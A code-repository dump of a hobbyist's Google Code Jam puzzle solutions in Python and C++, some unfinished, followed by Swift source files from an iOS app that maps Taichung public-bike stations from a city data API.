from sys import argv
from string import ascii_lowercase as lower;
from math import factorial;
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line.strip() for line in open(type_of_case+'input.in')];
output = open(type_of_case+'output.out','w')
#returns if enough True's are in a list
def enoughTrue(mylist, minTrues):
foundTrues = 0;
for statement in mylist:
if statement:
foundTrues += 1;
if foundTrues >= minTrues:
return True;
return False;
#case solving algorithm
def solve (input_string) :
#parse input
trains = input_string.split();
#eliminate duplications in trains
for i in xrange(len(trains)):
train = trains[i][0]; #train will be a new version of trains[i] without duplicates
rescent = train; #rescent will record the last unique train letter while scanning trains[i]
for j in xrange(1, len(trains[i])):
if trains[i][j] != rescent: #if scanned letter is unique:
train += trains[i][j]; #add it to train
rescent = trains[i][j]; #and set it as the new rescent
trains[i] = train; #push duplication-free train back to train list "trains"
#tests for internal letters that would need to be paired with an outer letter
#if this situation exists, no solutions are possible
#if not, internal parts of trains are negligible. internals are removed
for i in xrange(len(trains)):
if trains[i][0] == trains[i][-1] and len(trains[i]) > 2 :
return 0
for j in xrange(i, len(trains)):
if (trains[i][0] in trains[j][1:-1]) or (trains[i][-1] in trains[j][1:-1]):
return 0;
trains[i] = [trains[i][0], trains[i][-1]];
#checks for improper number of starts and stops
#removes duplication of homogenous trains
letter_multiplier = 1; #multiplier that accounts for remova of dublicate homogenous trains
for letter in lower:
homegeous_trains = 0; #number of homegenous trains of current letter
starts = 0; #number of trains that only start with the current letter
ends = 0; #number of trains that only end with the current letter
start_letter = "";
end_letter = "";
for train in trains:
if train[0] == train[1] == letter:
homegeous_trains += 1;
elif train[0] == letter:
starts += 1;
end_letter = train[1];
elif train[1] == letter:
ends += 1;
start_letter=train[0];
#only one train can start but not end with the same letter (and vice-versa)
if max(starts, ends) > 1:
return 0;
letter_multiplier *= factorial(homegeous_trains); #considers homogenous train duplicates in multiplier
#removes homogeous train duplicates
for i in range(max(0, homegeous_trains-1)):
trains.remove([letter,letter]);
madeconnection = True;
elimatedLetters = [];
while madeconnection:
for i, train1 in enumerate(trains):
madeconnection = False;
for j, train2 in enumerate(trains):
if i == j:
continue;
if [train1[1],train1[1]] in trains:
if trains.index([train1[1],train1[1]]) != i:
trains.remove([train1[1], train1[1]]);
madeconnection = True;
break;
if train1[1] == train2[0]:
trains.remove(train1);
trains.remove(train2);
trains.append([train1[0],train2[1]]);
if train1[0] == train2[1]:
return 0;
madeconnection = True;
break;
if madeconnection:
break;
return (factorial(len(trains)) * letter_multiplier) % 1000000007;
#main loop
for t in range(1,int(lines.pop(0))+1):
print t;
number_of_trains = int(lines.pop(0));
answer = solve(lines.pop(0));
output.write("Case #%i: %s\n"%(t, answer));
output.close()
<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
output = open(type_of_case+'output.out','w')
def solve(case):
matrix = []
for i in range(4):
matrix.append(lines.pop(0).split())
game_done = True
for i in range(4):
validX = True;
validO = True;
for j in range(4):
if matrix[i][j] == '.':
game_done = False
validX = False
validO = False
break
elif matrix[i][j] == 'X':
validO = False
elif matrix[i][j] == 'O':
validX = False
if validX:
print "Case #%d: X won"%t
return
if validO:
print "Case #%d: O won"%t
return
for j in range(4):
validX = True;
validO = True;
for i in range(4):
if matrix[i][j] == '.':
game_done = False
validX = False
validO = False
break
elif matrix[i][j] == 'X':
validO = False
elif matrix[i][j] == 'O':
validX = False
if validX:
print "Case #%d: X won"%t
return
if validO:
print "Case #%d: O won"%t
return
diagonal_points = [[0,0],[1,1],[2,2],[3,3]]
validX=True
validO=True
for point in diagonal_points:
if matrix[point[0]][point[1]] == "O":
validX=False
elif matrix[point[0]][point[1]] == "X":
validO=False
else
validX=False
validO=True
if validX:
print "Case #%d: X won"%t
return
if validO:
print "Case #%d: O won"%t
return
for t in range(1,int(lines.pop(0))+1):
print t
solve(t)
output.close()
<file_sep># drummer2322
# GCJ <year> <round>
# <date>
class Tribe():
def __init__(self, startString):
self.initial_attack, self.number_of_attacks, self.initial_west, self.initial_east, self.initial_strength, self.delta_days, self.delta_attack_location, self.delta_strength = map(int, startString.split())
def attacks_on_day(self, day):
return (day-self.initial_attack)%self.delta_days==0 and (day-self.initial_attack)/self.delta_days < self.number_of_attacks and day>=self.initial_attack
def last_attack(self) :
return self.initial_attack + (self.delta_days*self.number_of_attacks)
def attack_locations_on_day(self, day):
attack_number = (day-self.initial_attack)/self.delta_days
east = self.initial_east+attack_number*self.delta_attack_location
west = self.initial_west+attack_number*self.delta_attack_location
return range(west,east)
def strength_on_day(self, day):
attack_number = (day-self.initial_attack)/self.delta_days
return attack_number*self.delta_strength+self.initial_strength
def merge_walls(wall1, wall2):
result = wall1
for wall_segment in wall2.keys():
if not wall_segment in result:
result[wall_segment] = wall2[wall_segment]
result[wall_segment] = max(wall1[wall_segment], wall2[wall_segment]);
return result
lines = [line.strip() for line in open('large_input.in')];
output = open('large_output.out','w')
for t in range(1,int(lines.pop(0))+1):
print t
successful_attacks= 0
number_of_tribes = int(lines.pop(0))
tribes=[]
for i in range(number_of_tribes):
tribes.append(Tribe(lines.pop(0)))
wall={}
first_attacks = []
last_attacks = []
for tribe in tribes:
first_attacks.append(tribe.initial_attack)
last_attacks.append(tribe.last_attack())
first_attack = min(first_attacks);
last_attack = max(last_attacks);
for day in range(first_attack,last_attack+1):
new_wall={}
for tribe in tribes:
if tribe.attacks_on_day(day):
attack_is_successful = False;
for wall_segment in tribe.attack_locations_on_day(day):
if not wall_segment in wall or wall[wall_segment]<tribe.strength_on_day(day):
attack_is_successful = True
break
if attack_is_successful:
successful_attacks+=1
temp_wall={}
for wall_segment in tribe.attack_locations_on_day(day):
temp_wall[wall_segment] = tribe.strength_on_day(day)
new_wall=merge_walls(new_wall,temp_wall)
wall = merge_walls(wall, new_wall)
output.write("Case #%i: %s\n"%(t, successful_attacks))
output.close()
<file_sep>#<EMAIL>
#passed small and large
lines = [line.strip() for line in open('input.in')];
output = open('output.out','w')
for case in range(1,int(lines.pop(0))+1):
print case
r, t = map(int,lines.pop(0).split());
t = int(t)
first_ring = (r+1)**2 - r**2;
hi = t
lo = 0
while hi>lo:
middle = int(hi+lo)/2+1
paint_required = first_ring*middle + 2*middle*(middle-1)
if paint_required > t:
hi = middle-1
else:
lo = middle
output.write("Case #%i: %i\n"%(case, hi))
output.close()
<file_sep># THIS CODE IS NOT YET FINISHED
import math;
lines = [line.strip() for line in open('input.in')];
output = open('output.out','w')
for t in range(1,int(lines.pop(0))+1):
R, N, M, K = map(int, lines.pop(0).split())
numbers = range(2,M+1)
for i, products in enumerate(map(int, lines.pop(0).split())):
commonfactors = []
factors=[]
for product in products:
factors.append(getAllFactors(product))
for k in factors[0]:
for l in range(i,len(factors)):
if not k in factors[l]:
break;
else:
commonfactors.append(k);
output.write("Case #%i: %i\n"%(t, gain))
output.close()
def getAllFactors(n):
n=int(n)
result = [n]
for i in range(1,n+1):
j = float(n)/i
if j == math.floor(j) and j>1:
result.append(i);
result+=getAllFactors(i)
result = list(set(result));
result.sort()
return result
print getAllFactors(1)<file_sep>#include <stdio.h>
int main ()
{
int numberOfCases;
scanf("%d", &numberOfCases);
int caseNumber;
for (caseNumber = 1; caseNumber < numberOfCases+1; caseNumber++)
{
}
}
<file_sep>lines = [line.strip() for line in open('input.in')];
output = open('output.out','w')
def leastToUse (A, nodes):
a=A
for i, mote in enumerate(nodes):
if a> mote:
if len(nodes)==i+1:
return 0
a+=mote
else:
if len(nodes)==i+1:
return 1
if a==1:
return len(nodes)
addcounter = 0
while not a>mote:
a+=(a-1)
addcounter+=1
return min(len(nodes[i:]),addcounter+leastToUse(a,nodes[i+1:]))
for t in range(1,int(lines.pop(0))+1):
print t
A, N = map(int, lines.pop(0).split())
motes = map(int, lines.pop(0).split())
motes.sort()
output.write("Case #%i: %i\n"%(t, leastToUse(A,motes)))
output.close()
<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
import sys
print sys.setrecursionlimit(10000) # this recursion limit works. smaller limits may work. larger limits are allowed
if len(sys.argv) > 1:
type_of_case = sys.argv[1]+'_'
else:
type_of_case = ''
lines = [line.strip() for line in open(type_of_case+'input.in')];
output = open(type_of_case+'output.out','w')
found = False
def examine(child):
global found
working_list = tree[child][:]
for parent in tree[child]:
if not found:
working_list += examine(parent)
if has_duplicates(working_list):
found = True
return []
return working_list
def has_duplicates(check_list):
return len(check_list) != len(set(check_list))
for t in range(1,int(lines.pop(0))+1):
print t
found = False
number_of_classes = int(lines.pop(0))
tree={}
for i in range(number_of_classes):
tree[i+1] = map(int, lines.pop(0).split())[1:]
for i in range(number_of_classes):
if not found:
examine(i+1)
output.write("Case #%i: %s\n"%(t, ["No", "Yes"][found] ))
output.close()
<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
output = open(type_of_case+'output.out','w')
for t in range(1,int(lines.pop(0))+1):
print t
amount_of_money = int(lines.pop(0));
number_of_store_items = int(lines.pop(0));
items = map(int, lines.pop(0).split());
found = False;
for i in range(len(items)):
if not found:
for j in range(i+1,len(items)):
if items[i]+items[j] == amount_of_money:
found = True;
output.write("Case #%i: %s %s\n"%(t, i+1, j+1 ))
break;
output.close()
<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
import string
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
output = open(type_of_case+'output.out','w')
digits = string.digits + string.letters
for t in range(1,int(lines.pop(0))+1):
print t
message = lines.pop(0);
base = len(set(list(message)))
base_x = "";
base_10 = 0;
base_matching = {};
current_number = 1
for i, letter in enumerate(message):
if not letter in base_matching.keys():
base_matching[letter] = digits[current_number] # change digits in this line to modified digits
current_number+=1
base_x += base_matching[letter]
print base_x
base_x[::-1]
for i, letter in base_x:
base_10 += base**i * digits.index(letter)
output.write("Case #%i: %s\n"%(t, base_10))
output.close()
<file_sep>#include <iostream>
int main()
{
int board_size, win_length;
std::cin >> board_size;
std::cin >> win_length;
std::cin.ignore();
char **old_board = new char* [board_size];
for (int i=0; i<board_size; i++) {
old_board[i] = new char [board_size];
for (int j=0; j<board_size; j++) {
std::cin.get(old_board[i][j], 1);
}
std::cin.ignore();
}
char **new_board = new char*[board_size];
for (int i=0; i<board_size; i++) {
new_board[i] = new char [board_size];
int index=board_size-1;
for (int j=board_size; j>=0; j--) {
if (old_board[i][j]=="R") {
new_board[i][index] = "R";
index--;
}
else if (old_board[i][j]=="B") {
new_board[i][index] = "B";
index--;
}
}
}
}
<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
import math
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
output = open(type_of_case+'output.out','w')
def numRecycled(n):
toReturn = 0
strN = str(n)
already_found = []
for i in range(1, length):
if not strN[-i] == "0":
new = int(strN[-i:] + strN[:-i])
if new <= B and new > n and new not in already_found:
toReturn+=1
already_found.append(new)
return toReturn
for t in range(1,int(lines.pop(0))+1):
print t
recycled = 0
A, B = map(int, lines.pop(0).split())
strA = str(A)
strB = str(B)
length = len(strA)
for n in range(A, B):
recycled+=numRecycled(n)
output.write("Case #%i: %d\n"%(t, recycled))
output.close()
<file_sep>#!/usr/bin/python
import sys
def emit(text, *args):
msg = text % args
sys.stderr.write(msg)
sys.stdout.write(msg)
def choose(n, k):
if 0 <= k <= n:
ntok = 1
ktok = 1
for t in xrange(1, min(k, n - k) + 1):
ntok *= n
ktok *= t
n -= 1
return ntok // ktok
else:
return 0
def pyramid_size(height):
base = 2 * height + 1
return (base * (base + 1)) / 2
def solve(n, x, y):
if x == 0:
if n >= pyramid_size(y/2):
return 1.0
else:
return 0.0
if x < 0:
x = -x # problem is symmetrical around y
foundation_height = (y + x)/2 - 1
foundation = pyramid_size(foundation_height)
n = n - foundation
if n <= y:
return 0.0
if n > (foundation_height + 1) * 2 + y:
return 1.0
# Now what is the chance of getting at least y+1 wins in n tries?
options = 0
for i in range(y+1, n+1):
options += choose(n, i)
# divide options by 2 ** n, but carefully to not lose precision
for i in range(n):
if options > 2**30:
options = options // 2
else:
options = options / 2.0
return options
def getline():
return sys.stdin.readline().rstrip('\n')
ncases = int(getline())
for casenr in range(1, ncases+1):
n, x, y = [ int(s) for s in getline().split() ]
print "Case #%d: %s"%(casenr, solve(n, x, y))
<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
import itertools
if len(argv) > 1:
type_of_case = argv[1]
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case)]
data = [[0 for x in range(10)] for x in range(10)]
acts = int(lines.pop(0))
for s in range(acts):
for t in range(acts):
if s != t:
conflicts = 0
for letter in lines[s]:
if letter in list(lines[t]):
conflicts += 1
data[s][t] = conflicts
trials = itertools.permutations(range(acts),acts)
best_distance = 1000000000;
for trial in trials:
distance = 0;
for i in range(acts-1):
distance += data[trial[i]][trial[i+1]]
if distance < best_distance:
best_distance = distance
print "Best Distance: %i"%best_distance
<file_sep>// drummer2322
// <EMAIL>
// GCJ <year> <round> <problem>
// <date>
#include <iostream>
#include <string>
int main ()
{
int T, tt;
std::cin >> T;
for (tt = 1; tt <= T; tt++) {
std::cerr << tt << '\n';
std::cout << "Case #" << tt << ": " << answer << std::endl;
}
}
<file_sep># drummer2322
# GCJ 2013 1A
# 24 Apr 2014
# CODE NOT FINISHED
from sys import argv
from itertools import combinations
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line.strip() for line in open(type_of_case+'input.in')];
output = open(type_of_case+'output.out','w')
class Car():
def __init__(self, velocity, start_location):
self.start_location = float(start_location)
self.velocity = float(velocity)
def location_at_time(self, time):
car_location = self.start_location + self.velocity*float(time)
return car_location
def overlap_exists(locations):
if max(locations) - min(locations) < 5.0:
return True
return False
def find_overlap_time(car1, car2):
if car1.velocity == car2.velocity:
if abs(car1.start_location - car2.start_location) < 5:
return [-float("inf"), float("inf")]
else:
return [0,0]
return sorted([(car1.start_location - car2.start_location + 5)/(car2.velocity - car1.velocity), (car1.start_location - car2.start_location - 5)/(car2.velocity - car1.velocity)])
def calculate_overlap(a,b):
allpoints = sorted(a+b)
if min(a)>max(b) or min(b)>max(a):
return [0,0]
return [allpoints[1],allpoints[2]]
for t in range(1,int(lines.pop(0))+1):
print t
number_of_cars = int(lines.pop(0))
cars = []
for i in range(number_of_cars):
car_info = lines.pop(0).split()
cars.append( Car(car_info[1],car_info[2]) )
first_incedent = float("inf")
for car_set in combinations(cars,3):
car1, car2, car3 = sorted(car_set, key=lambda x:x.velocity)
if car1.velocity == car3.velocity:
continue
first_overlap = find_overlap_time(car1, car2)
second_overlap = find_overlap_time(car1,car3)
third_overlap = find_overlap_time(car2, car3)
total_overlap = calculate_overlap(third_overlap, calculate_overlap(first_overlap, second_overlap))
print first_overlap, second_overlap, third_overlap, total_overlap
if not total_overlap == [0,0]:
first_incedent=min(first_incedent,min(total_overlap))
if first_incedent == float("inf"):
first_incedent = "Possible"
output.write("Case #%i: %s\n"%(t, first_incedent ))
output.close()<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
output = open(type_of_case+'output.out','w')
L, D, N = map(int, lines.pop(0).split());
permanent_dict = [];
for i in range(D):
permanent_dict.append(lines.pop(0));
for t in range(1,N+1):
print t
case_dict = permanent_dict[:];
case_word = lines.pop(0);
while not case_word=="":
if case_word[0] != '(':
required_letters=[case_word[0]];
case_word=case_word[1:];
else:
closing_location = case_word.find(")");
required_letters = case_word[1:closing_location];
case_word=case_word[closing_location+1:]
indexes_to_be_deleted = [];
for i in range(len(case_dict)):
if not case_dict[i][0] in required_letters:
indexes_to_be_deleted.append(i);
else:
case_dict[i]=case_dict[i][1:];
for i in indexes_to_be_deleted[::-1]:
case_dict.pop(i);
output.write("Case #%i: %s\n"%(t, len(case_dict) ))
output.close()
<file_sep>def solve(case, n):
marker = [False]*10
p = n
for i in range(101):
stringN = str(n)
for charN in stringN:
marker[int(charN)] = True
done = True
for j in range(len(marker)):
if not marker[j]:
done = False
break
if done:
print "Case #%d: %d"%(case,n)
return
n+=p
print "Case #%d: INSOMNIA"%case
infile = open("input.txt", 'r')
T = int(infile.readline())
for t in range(1,T+1):
N = int(infile.readline())
solve(t, N)
<file_sep>from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line.strip() for line in open(type_of_case+'input.in')];
for t in range(1,int(lines.pop(0))+1):
number_of_classes = int(lines.pop(0))
tree = {}
for i in range(number_of_classes):
tree[i+1] = map(int, lines.pop(0).split())[1:]
print '#', t, ":", number_of_classes
<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round<
# <date>
from sys import argv;
if len(argv) > 1:
type_of_case = argv[1]+'_';
else:
type_of_case = '';
lines = [line.strip() for line in open(type_of_case+'input.in')];
output = open(type_of_case+'output.out','w');
def solve(n,d,depth):
n=int(n)
d=int(d)
# print "node",n,d
if depth>40:
return "impossible";
if n==d:
print "at",depth,"same", d
return depth;
n,d = simplify(n,d)
print "node",n,d,depth
n1,d1 = simplify(n+1,d);
n2,d2 = simplify(n-1,d);
if (d1<=d2 and n1!=0) or d2==0:
return solve(n1,d1,depth+1)
else :
return solve(n2,d2,depth+1)
def simplify(n,d):
if n==0:
return 0,0
for i in range(1,n+1)[::-1]:
if int(n)%i==0 and int(d)%i==0:
n=n/i
d=d/i
return n,d
for t in range(1,int(lines.pop(0))+1):
print t
n, d = lines.pop(0).split("/");
n= int(n)
d= int(d)
n,d = simplify(n,d)
check = 1.0;
while check<d:
check*=2
if check!=d:
output.write("Case #%i: impossible\n"%t);
continue;
if d==1:
output.write("Case #%i: 0\n"%t);
continue;
generation = solve(n,d,0)
output.write("Case #%i: %s\n"%(t, generation ))
output.close()
<file_sep>infile = open("input.txt", 'r');
def solve(casenum, N, K):
#print "N: %d \tK: %d"%(N,K)
h=1 #tree height
n=N #unmatched stalls
k=K #unmatched people
#place people until we get to the final round
while k > 2**(h-1):
#print "%d people left : %d openings : %d clusters : advance"%(k,n,2**(h-1))
numMatched = 2**(h - 1)
k-=numMatched
n-=numMatched
h+=1
#print "%d people left : %d openings : %d clusters : done"%(k,n,2**(h-1))
numClusters = 2**(h-1)
smallClusterSize = n / numClusters
largeClusterSize = smallClusterSize + 1
numLargeClusters = n - (numClusters*smallClusterSize)
#print "small/large size: %d %d"%(smallClusterSize, largeClusterSize)
#print "small/large number: %d %d"%(numClusters - numLargeClusters, numLargeClusters)
if (k <= numLargeClusters):
maximum = largeClusterSize / 2
minimum = (largeClusterSize - 1) / 2
else:
maximum = smallClusterSize / 2
minimum = (smallClusterSize - 1) / 2
print "Case #%d: %d %d"%(casenum, maximum, minimum)
#print "--------------------------------------------"
def solve2(casenum, N, K):
options = [N]
for i in range(K-1):
pick = options.pop(options.index(max(options)))
options.append(pick/2)
options.append((pick-1)/2)
pick = options.pop(options.index(max(options)))
print "Case #%d: %d %d"%(casenum, pick/2, (pick-1)/2)
T = int(infile.readline());
for t in range(1, T+1):
N, K = map(int, infile.readline().split())
solve(t,N,K);
#solve2(t,N,K);
#print
<file_sep>def simplify(string):
result = ""
result += string[0]
for i in range(1,len(string)):
if string[i-1] != string[i]:
result += string[i]
return result
def solve(casenum,data):
simplified = []
for i in range(len(data)):
simplified.append(simplify(data[i]))
for i in range(len(data)-1):
if simplified[i] != simplified[i+1]:
print "Case #%d: Fegla Won"%casenum
return
occurences = [[0 for i in range(len(simplified[0]))] for j in range(len(data))]
for i in range(len(data)):
index = 0
for j in range(len(data[i])-1):
occurences[i][index] += 1
if (data[i][j] != data[i][j+1]):
index+=1
targets = []
for i in range(len(simplified[0])):
allvals=[]
for j in range(len(occurences)):
allvals.append(occurences[j][i])
targets.append(sorted(allvals)[len(allvals)/2])
total = 0
for i in range(len(data)):
for j in range(len(targets)):
total += abs(targets[j] - occurences[i][j])
print "Case #%d: %d"%(casenum,total)
infile = open("input.txt", 'r')
T = int(infile.readline())
for t in range(1,T+1):
N = int(infile.readline())
data=[]
for n in range(N):
data.append(infile.readline().strip())
solve(t, data)
| 9dc771cca871f2df73a8a94af7f7d45d6bd0ba27 | [
"C",
"Python",
"C++"
] | 46 | Python | corbinmcneill/codejam | 5156fec100c73eb95969a91fd20bf411aec4b795 | e8f146d4edda969277b4891d6c6a16f47ab05724 |
refs/heads/master | <file_sep>//
// InfoWindowView.swift
// iBike
//
// Created by 翟靖庭 on 21/5/2020.
// Copyright © 2020 ChaiChingTing. All rights reserved.
//
import UIKit
import GoogleMaps
class InfoWindowView: UIView {
var stations = [ALLiBike]()
@IBOutlet weak var stationNameLabel: UILabel!
@IBOutlet weak var addressLabel: UILabel!
@IBOutlet weak var bikeCountLabel: UILabel!
@IBOutlet weak var updateTimeLabel: UILabel!
@IBOutlet weak var bikeImageView: UIImageView!
@IBOutlet weak var routeButton: UIButton!
override init(frame: CGRect) {
super.init(frame: frame)
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
}
func loadView() -> InfoWindowView {
let infoWindowView = Bundle.main.loadNibNamed("InfoWindowView", owner: self, options: nil)?[0] as! InfoWindowView
for item in self.stations {
let information = ALLiBike.init(X: Double(item.X!), Y: Double(item.Y!), Position: String(item.Position!), CAddress: String(item.CAddress!), AvailableCNT: item.AvailableCNT!, EmpCNT: item.EmpCNT!, UpdateTime: String(item.UpdateTime!))
infoWindowView.stationNameLabel.text = String(information.Position!)
infoWindowView.addressLabel.text = String(information.CAddress!)
infoWindowView.bikeCountLabel.text = String(information.AvailableCNT!)
infoWindowView.bikeImageView.image = UIImage(named: "showiBikeMarker")
}
return infoWindowView
}
}
<file_sep>//
// nearbyTableViewCell.swift
// iBike
//
// Created by 翟靖庭 on 18/5/2020.
// Copyright © 2020 ChaiChingTing. All rights reserved.
//
import UIKit
class NearbyTableViewCell: UITableViewCell {
@IBOutlet weak var stationNameButton: UIButton!
@IBOutlet weak var iBikeImageView: UIImageView!
@IBOutlet weak var iBikeLabel: UILabel!
@IBOutlet weak var parkingImageView: UIImageView!
@IBOutlet weak var parkingLabel: UILabel!
@IBOutlet weak var addressLabel: UILabel!
override func awakeFromNib() {
super.awakeFromNib()
// Initialization code
}
override func setSelected(_ selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
// Configure the view for the selected state
}
}
<file_sep>//
// WebViewController.swift
// iBike
//
// Created by 翟靖庭 on 15/5/2020.
// Copyright © 2020 ChaiChingTing. All rights reserved.
//
import UIKit
import WebKit
class WebViewController: UIViewController {
@IBOutlet weak var webView: WKWebView!
override func viewDidLoad() {
super.viewDidLoad()
openWebView()
}
func openWebView() {
if let iBikeUrl = URL(string: "https://i.youbike.com.tw/home") {
let request = URLRequest(url: iBikeUrl)
webView.load(request)
}
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
}
<file_sep># Uncomment the next line to define a global platform for your project
# platform :ios, '9.0'
target 'iBike' do
pod 'GoogleMaps'
pod 'GooglePlaces'
pod 'GooglePlacePicker'
pod 'Alamofire', '~> 5.1'
pod 'SwiftyJSON'
pod 'SQLite.swift', '~> 0.12.0'
pod 'IQKeyboardManagerSwift'
end
<file_sep>//
// ServiceCenterTableViewController.swift
// iBike
//
// Created by 翟靖庭 on 15/5/2020.
// Copyright © 2020 ChaiChingTing. All rights reserved.
//
import UIKit
class ServiceCenterTableViewController: UITableViewController {
@IBOutlet var serviceCenterTableView: UITableView!
var information = [ALLiBike]()
override func viewDidLoad() {
super.viewDidLoad()
showServiceCenter()
let nib = UINib(nibName: "ServiceCenterTableViewCell", bundle: nil)
serviceCenterTableView.register(nib, forCellReuseIdentifier: "serviceCenterCell")
}
// MARK: - Table view data source
override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
// #warning Incomplete implementation, return the number of rows
return information.count
}
override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
guard let cell = tableView.dequeueReusableCell(withIdentifier: "serviceCenterCell") as? ServiceCenterTableViewCell else {return UITableViewCell()}
cell.stationLabel.text = information[indexPath.row].Position!
cell.addressLabel.text = information[indexPath.row].CAddress!
cell.ImageView.image = UIImage(named: "compass.png")
cell.availableLabel.text = "可借車輛:\(String(information[indexPath.row].AvailableCNT!))"
cell.emptyLabel.text = "可停空位:\(String(information[indexPath.row].EmpCNT!))"
cell.updateLabel.text = "時間:\(information[indexPath.row].UpdateTime!)"
return cell
}
func showServiceCenter() {
guard let iBikeURL = URL(string: "http://e-traffic.taichung.gov.tw/DataAPI/api/YoubikeAllAPI") else { return }
/*上傳下載資料*/
URLSession.shared.dataTask(with: iBikeURL) { (data, response, error) in
if error == nil {
do {
self.information = try JSONDecoder().decode([ALLiBike].self, from: data!)
/*讓更新的Code在Main Thread下執行*/
DispatchQueue.main.async {
self.tableView.reloadData()
}
}
catch {
print("Error")
}
}
}.resume()
}
}
<file_sep>//
// ServiceCenterTableViewCell.swift
// iBike
//
// Created by 翟靖庭 on 15/5/2020.
// Copyright © 2020 ChaiChingTing. All rights reserved.
//
import UIKit
class ServiceCenterTableViewCell: UITableViewCell {
@IBOutlet weak var stationLabel: UILabel!
@IBOutlet weak var ImageView: UIImageView!
@IBOutlet weak var addressLabel: UILabel!
@IBOutlet weak var availableLabel: UILabel!
@IBOutlet weak var emptyLabel: UILabel!
@IBOutlet weak var updateLabel: UILabel!
override func awakeFromNib() {
super.awakeFromNib()
// Initialization code
}
override func setSelected(_ selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
// Configure the view for the selected state
}
}
<file_sep>//
// ViewController.swift
// iBike
//
// Created by 翟靖庭 on 14/5/2020.
// Copyright © 2020 ChaiChingTing. All rights reserved.
//
import UIKit
import CoreLocation
import GoogleMaps
import GooglePlaces
import Alamofire
import SwiftyJSON
class HomeViewController: UIViewController, UIViewControllerTransitioningDelegate, UITableViewDataSource, UITableViewDelegate {
let transition = SlideInTransition()
var topView: UIView?
var tappedMarker: GMSMarker?
var infoWindowView : InfoWindowView?
private let locationManager = CLLocationManager()
// var currentLocation : CLLocation!
@IBOutlet weak var mapView: GMSMapView!
@IBOutlet weak var searchView: UIView!
@IBOutlet weak var nearbyButton: UIButton!
@IBOutlet weak var nearbyView: UIView!
@IBOutlet weak var locationSearchBar: UISearchBar!
@IBOutlet weak var nearbyTableView: UITableView!
override func viewDidLoad() {
super.viewDidLoad()
let camera = GMSCameraPosition.camera(withLatitude: 24.164005, longitude: 120.637622, zoom: 14.0)
mapView.camera = camera
jsonMap()
searchView.layer.borderColor = UIColor.lightGray.cgColor
searchView.layer.borderWidth = 1
locationManager.delegate = self
locationManager.startMonitoringSignificantLocationChanges()
mapView.delegate = self
nearbyTableView.dataSource = self
nearbyTableView.delegate = self
locationSearchBar.delegate = self
locationSearchBar.showsCancelButton = true
let backButton = locationSearchBar.value(forKey: "cancelButton") as! UIButton
backButton.setTitle("返回", for: .normal)
let currentLocationLat = locationManager.location!.coordinate.latitude
let currentLocationLong = locationManager.location!.coordinate.longitude
print(currentLocationLat)
print(currentLocationLong)
// self.tappedMarker = GMSMarker()
// self.infoWindowView = InfoWindowView().loadView()
if CLLocationManager.locationServicesEnabled() {
locationManager.requestLocation()
mapView.isMyLocationEnabled = true
mapView.settings.myLocationButton = true
} else {
locationManager.requestWhenInUseAuthorization()
}
}
var stations = [ALLiBike]()
var nearbyStationsArray : [ALLiBike] = []
var allStationsArray : [ALLiBike] = []
var searchResults : [ALLiBike] = []
func jsonMap() {
guard let mapUrl = URL(string: "http://e-traffic.taichung.gov.tw/DataAPI/api/YoubikeAllAPI") else { return }
/*上傳下載資料*/
URLSession.shared.dataTask(with: mapUrl) { (data, response, error) in
if error == nil {
do {
self.stations = try JSONDecoder().decode([ALLiBike].self, from: data!)
print(self.stations.count)
/*讓更新的Code在Main Thread下執行*/
DispatchQueue.main.async {
for state in self.stations {
let allStations = ALLiBike.init(X: Double(state.X!), Y: Double(state.Y!), Position: String(state.Position!), CAddress: String(state.CAddress!), AvailableCNT: state.AvailableCNT!, EmpCNT: state.EmpCNT!, UpdateTime: String(state.UpdateTime!))
self.allStationsArray.append(allStations)
/*經緯度型別是Double*/
let long = Double(state.X!)
let lat = Double(state.Y!)
let state_marker = GMSMarker()
let GMSlonglat = state_marker
print(GMSlonglat)
state_marker.position = CLLocationCoordinate2D(latitude: lat, longitude: long)
state_marker.title = "\(state.Position!)"
let GMSCname = state_marker.title
print(GMSCname!)
state_marker.snippet = "\(state.CAddress!)\n可借車位:\(state.AvailableCNT!), 可停空位:\(state.EmpCNT!)\nUpdate Time:\(state.UpdateTime!)"
state_marker.icon = UIImage(named: "iBikeMarker")
/*無車可借 & 車位滿載*/
if state.AvailableCNT! == 0 {
state_marker.icon = UIImage(named: "noiBike")
}
if state.EmpCNT == 0 {
state_marker.icon = UIImage(named: "noParkingSpace")
}
state_marker.map = self.mapView
}
}
} catch let jsonError{
print("Error: \(jsonError)")
}
}
}.resume()
}
enum tableViewMode : Int {
case showAllStation
case showNearbyStation
case showSearchResult
}
var mode : tableViewMode = .showAllStation
@IBAction func didTapNearbyButton(_ sender: Any) {
